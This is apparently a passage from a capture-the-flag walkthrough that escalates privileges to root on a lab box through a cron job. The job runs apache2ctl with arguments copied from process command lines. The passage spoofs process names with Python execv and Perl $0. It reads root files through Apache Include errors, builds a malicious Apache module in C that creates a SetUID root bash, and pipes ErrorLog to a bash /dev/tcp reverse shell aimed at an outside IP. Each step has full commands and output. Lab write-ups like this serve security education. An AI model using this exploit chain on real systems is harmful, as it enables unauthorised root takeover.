The first thing I want to do to interact with this script is to create a process where I control the command line. The most straight forward way I know to do this is using the exec System call, which starts a completely new process in place of the current one, and allows the caller to set both the path to the binary and the argv array. Typically by convention the first item in argv is the process name, but this doesn’t have to be. And tools like ps show what is in argv[0].

This can be done in basically any language, so I’ll use Python. The os module has a execv function (the v version allows me to set the command line arguments):

import os

os.execv('/bin/sleep', ['0xdf_was_here', '60'])

This will call sleep 60 but in the process list it will show up as 0xdf was here 60. I’ll run this in one terminal, and in another:

zroadmin@zero:~$ ps auxww | grep 0xdf
zroadmin   93631  0.2  0.0   7236   516 pts/0    S+   10:35   0:00 0xdf_was_here 60

Interestingly, this doesn’t show up in pgrep 0xdf, but rather only in pgrep -f, as the first checks the legit process and the second checks the full command line:

zroadmin@zero:~$ pgrep '0xdf_was_here'
zroadmin@zero:~$ pgrep -f '0xdf_was_here'
93631

Improved Fake Process Command Line

The first two ways I found to exploit this worked fine with Python using execv. The problem is that I can’t do anything to get rid of the -t.

If I use Perl, that gets even easier. Perl allows me to overwrite the $0 variable and change the command line. For example:

#!/bin/perl

$0 = "fake_process!";
sleep(223);

This shows up in the process list as:

zroadmin   14460  0.0  0.1  12496  5032 pts/0    S+   21:55   0:00 fake_process!

Here I don’t have to worry about the 223 argument showing up, which is nice.

Multiple apache2ctl -d

The -d option in apache2ctl is meant to be given once. It turns out that when it’s given multiple times, only the last one is used. That means I can append another -d <file> to the end the command and that file will be executed.

apache2ctl looks for a apache2.conf file in the given directory with -d (among other things). So I can pass it the /etc/apache2 directory:

zroadmin@zero:~$ apache2ctl -d /etc/apache2/ -t
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 10.129.234.62. Set the 'ServerName' directive globally to suppress this message
Syntax OK

If I also pass /dev/shm, it fails:

zroadmin@zero:~$ apache2ctl -d /etc/apache2/ -d /dev/shm -t
apache2: Could not open configuration file /dev/shm/apache2.conf: No such file or directory
Action '-d /etc/apache2/ -d /dev/shm -t' failed.
The Apache error log may have more information.

But I’ve shown that only the last one is used. And that it’s trying to read apache2.conf from the given directory.

Path Overview

With the ability to create a fake process and the ability to control the -d input to apachectl running as root, there are a few strategies I can take. I’ll show the initial way I solved getting partial file read, a failed attempt at command injection, and two other methods I got working to get a shell as root:

flowchart TD;
    A(<a href="#exploit-primitives">apache2ctl Injection</a>)-->B(<a href='#command-injections-fail'>Command\nInjection</a>);
    B--xC[Shell as root];
    A-->D(<a href='#partial-file-read'>Include File Read</a>);
    D-->E[root.txt];
    C-->E;
    A-->F(<a href='#shell-via-malicious-module'>Malicious\nModule</a>);
    F-->C;
    A-->G(<a href='#shell-via-log-pipe'>Log Pipe</a>);
    G-->C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;

I’m sure there are other ways as well (CGI for example).

Command Injections [Fail]

I’m still pretty limited by the pgrep regex. I don’t see a clever way for the “.” to be anything but spaces, and the command has to start with /opt/zroweb/sbin/apache2 with specific options. I can add things to the end of the command.

One thing that won’t work is joining multiple commands with “;” or “&” or “|”.

zroadmin@zero:~$ test="id"
zroadmin@zero:~$ $test
uid=666(zroadmin) gid=666(zroadmin) groups=666(zroadmin)
zroadmin@zero:~$ test="id; id"
zroadmin@zero:~$ $test

Command 'id;' not found, did you mean:

  command 'id' from deb coreutils (8.30-3ubuntu2)
  command 'idt' from deb ncl-ncarg (6.6.2-1build4)
  command 'idn' from deb idn (1.33-2.2ubuntu2)
  command 'id3' from deb id3 (1.1.0-3)

Try: apt install <deb name>
zroadmin@zero:~$ test="id | id"
zroadmin@zero:~$ $test
id: extra operand ‘id’
Try 'id --help' for more information.

Trying to get subshells fails too:

zroadmin@zero:~$ test='$(touch /home/zroadmin/yes)'
zroadmin@zero:~$ echo "$test"
$(touch /home/zroadmin/yes)
zroadmin@zero:~$ $test
$(touch: command not found
zroadmin@zero:~$ test='`touch /home/zroadmin/yes`'
zroadmin@zero:~$ $test

Command '`touch' not found, did you mean:

  command 'ktouch' from deb ktouch (4:19.12.3-1ubuntu1)
  command 'touch' from deb coreutils (8.30-3ubuntu2)

Try: apt install <deb name>

Partial File Read

POC

apache2ctl has a page on GTFOBins showing how to use it for file read:

image-20250807064253992

To make sure the command works, I’ll copy the entire /etc/apache2 directory into /dev/shm named fileread:

zroadmin@zero:~$ cp -R /etc/apache2 /dev/shm/fileread

I’ll add a line to the top of /dev/shm/fileread/apache2.conf:

Include /etc/passwd

Now when I run the command pointing at that config, it errors out:

zroadmin@zero:/dev/shm$ apache2ctl -d /etc/apache2/ -d /dev/shm/fileread -t
AH00526: Syntax error on line 1 of /etc/passwd:
Invalid command 'root:x:0:0:root:/root:/bin/bash', perhaps misspelled or defined by a module not included in the server configuration
Action '-d /etc/apache2/ -d /dev/shm/fileread -t' failed.
The Apache error log may have more information.

I’m able to read the top line of files.

Log

This still isn’t a complete solution as I don’t have access to the stdout or stderr from the running cron. The apache2ctl docs say that:

When acting in pass-through mode, apachectl can take all the arguments available for the httpd binary.

**apachectl** [ httpd-argument ]

The httpd docs show a -E <file> option that seems perfect:

-E file

Send error messages during server startup to file.

It works:

zroadmin@zero:/dev/shm$ apache2ctl -d /etc/apache2/ -d /dev/shm/fileread -E /dev/shm/out -t
Action '-d /etc/apache2/ -d /dev/shm/fileread -E /dev/shm/out -t' failed.
The Apache error log may have more information.
zroadmin@zero:/dev/shm$ cat out 
AH00526: Syntax error on line 1 of /etc/passwd:
Invalid command 'root:x:0:0:root:/root:/bin/bash', perhaps misspelled or defined by a module not included in the server configuration

Flag Read

Putting this all together, I’ll create a process that root will run that will try to include /root/root.txt, but fail and get logged somewhere I can read.

I’ll update /dev/shm/apache2/apache2.conf to include /root/root.txt.

I’ll update my Python script to fake the necessary process command line:

import os

os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log', "223"])

I’ll run this, and it hangs sleeping. While I wait, I can use the pgrep command to see that it’s working:

zroadmin@zero:/dev/shm$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3496 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log 223

This will actually fail before it has a chance to log because of the stray 223 (the sleep time) at the end. I’ll find a parameter that can take that as input (-c <directive> for “Process the configuration directive after reading config files.” seems like a good one), and update the Python script:

import os

os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c', "223"])

That looks better:

zroadmin@zero:/dev/shm$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3883 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 223

The next time the cron runs, the flag is in the log file:

zroadmin@zero:/dev/shm$ cat fileread.log 
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command '015c84275247026ff80c2432a360be0d', perhaps misspelled or defined by a module not included in the server configuration

Shell via Malicious Module

When apache2ctl tests a configuration, it does actually load the modules to make sure they work. I’ll crearte a malicious module to get execution as root.

I’ll copy /etc/apache2 to make another fake directory to work from:

zroadmin@zero:/dev/shm$ cp -R /etc/apache2/ module

I’ll start with some minimal module code (with an assist from ChatGPT):

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"

static void myinit(apr_pool_t *p, server_rec *s) {
    system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
}

module AP_MODULE_DECLARE_DATA mymodule = {
            STANDARD20_MODULE_STUFF,
                NULL, NULL, NULL, NULL, NULL,
                    NULL
};

__attribute__((constructor))
        static void _init() { myinit(NULL, NULL); }

apxs will build this into a module:

zroadmin@zero:/dev/shm$ apxs -c 0xdfmodule.c 
/usr/share/apr-1.0/build/libtool  --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security  -Wdate-time -D_FORTIFY_SOURCE=2   -DLINUX -D_REENTRANT -D_GNU_SOURCE  -pthread  -I/usr/include/apache2  -I/usr/include/apr-1.0   -I/usr/include/apr-1.0 -I/usr/include  -c -o 0xdfmodule.lo 0xdfmodule.c && touch 0xdfmodule.slo
libtool: compile:  x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c 0xdfmodule.c  -fPIC -DPIC -o .libs/0xdfmodule.o
0xdfmodule.c: In function ‘myinit’:
0xdfmodule.c:7:5: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]
    7 |     system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/usr/share/apr-1.0/build/libtool  --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now    -o 0xdfmodule.la  -rpath /usr/lib/apache2/modules -module -avoid-version    0xdfmodule.lo
libtool: link: x86_64-linux-gnu-gcc -shared  -fPIC -DPIC  .libs/0xdfmodule.o    -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z -Wl,relro -Wl,-z -Wl,now   -Wl,-soname -Wl,0xdfmodule.so -o .libs/0xdfmodule.so
libtool: link: ( cd ".libs" && rm -f "0xdfmodule.la" && ln -s "../0xdfmodule.la" "0xdfmodule.la"

There are error messages, but it worked:

zroadmin@zero:/dev/shm$ file .libs/0xdfmodule.so
.libs/0xdfmodule.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a8886fbba4c51abe69826a5e9d8220b5a25583f, with debug_info, not stripped

I’ll drop this in the modules directory in my Apache directory:

zroadmin@zero:/dev/shm$ mkdir module/modules
zroadmin@zero:/dev/shm$ cp .libs/0xdfmodule.so module/modules/

Finally, I need to update the apache2.conf by adding this line to the top:

LoadModule 0xdfmodule modules/0xdfmodule.so

With all of that in place, I’ll update my fake process and run it:

import os

os.execv('/bin/sleep', ['/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/module -c', "223"])

Once the minute rolls over, there’s a SetUID bash in /tmp:

zroadmin@zero:/dev/shm$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1183448 Aug 10 20:44 /tmp/0xdf
zroadmin@zero:/dev/shm$ /tmp/0xdf -p
0xdf-5.0# 

Shell Via Log Pipe

I’ll create another working directory. This time I’ll just completely stage the configuration directory from scratch:

zroadmin@zero:/dev/shm$ mkdir errorlog
zroadmin@zero:/dev/shm$ vim errorlog/apache2.conf

The apache2.conf file will be:

LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so

ServerRoot "/dev/shm/"
Listen 9999
ServerName localhost

ErrorLog "|/dev/shm/rev.sh"

The "|/dev/shm/rev.sh" directive says to log errors by running my script. I’ll set that as a simple reverse shell (making sure to chmod +x it to make it executable):

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.79/443 0>&1

For this one, I’ll need to get rid of the -t on the end of the command to get it fully running. To do that, I’ll use the Perl:

#!/bin/perl

$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D";
sleep(223);

This sets the running process to opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D, which will become opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/errorlog -D -t. I’m stomping the -t by making it the string passed to the -D, which is just a name configuration parameter.

In about a minute, I get a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.62 46374
bash: cannot set terminal process group (52934): Inappropriate ioctl for device
bash: no job control in this shell
root@zero:/dev/shm# 

If something goes wrong, this attack can leave the Apache process running, which means the next time it runs on the cron the process will just respond that this server is running and quit. If it doesn’t work, I’ll need to rename the configuration directory to try again.